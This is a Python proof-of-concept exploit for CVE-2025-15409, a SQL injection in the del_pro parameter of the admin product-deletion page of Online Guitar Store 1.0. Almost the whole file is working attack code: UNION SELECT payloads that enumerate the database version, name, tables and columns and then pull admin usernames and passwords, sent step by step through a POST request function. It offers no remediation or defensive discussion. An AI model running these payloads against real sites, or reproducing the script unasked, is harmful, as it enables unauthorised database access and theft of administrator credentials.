# CVE-2025-15409 SQL Injection PoC
# Target: code-projects Online Guitar Store 1.0
# Vulnerability: SQL Injection in /admin/Delete_product.php via del_pro parameter
import requests
import sys
target = "http://target.com/admin/Delete_product.php"
# Basic SQL injection test - extract database version
payload_version = "1' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL---"
# Extract current database name
payload_db = "1' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL---"
# Extract all table names using information_schema
payload_tables = "1' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()---"
# Extract admin table columns
payload_columns = "1' UNION SELECT NULL,group_concat(column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='admin'---"
# Extract admin credentials
payload_creds = "1' UNION SELECT NULL,group_concat(username,':',password),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM admin---"
def exploit(payload):
try:
data = {'del_pro': payload}
response = requests.post(target, data=data, timeout=10)
if response.status_code == 200:
print(f"[+] Request sent successfully")
print(f"Response length: {len(response.text)}")
return response.text
else:
print(f"[-] Request failed with status: {response.status_code}")
return None
except Exception as e:
print(f"[-] Error: {str(e)}")
return None
if __name__ == "__main__":
print("[*] CVE-2025-15409 SQL Injection PoC")
print("[*] Target: Online Guitar Store 1.0")
print("[*] Testing SQL Injection vulnerability...\n")
# Test basic injection
print("[*] Step 1: Testing database version extraction...")
exploit(payload_version)
print("\n[*] Step 2: Extracting database name...")
exploit(payload_db)
print("\n[*] Step 3: Enumerating database tables...")
exploit(payload_tables)
print("\n[*] Step 4: Extracting admin table columns...")
exploit(payload_columns)
print("\n[*] Step 5: Extracting admin credentials...")
exploit(payload_creds)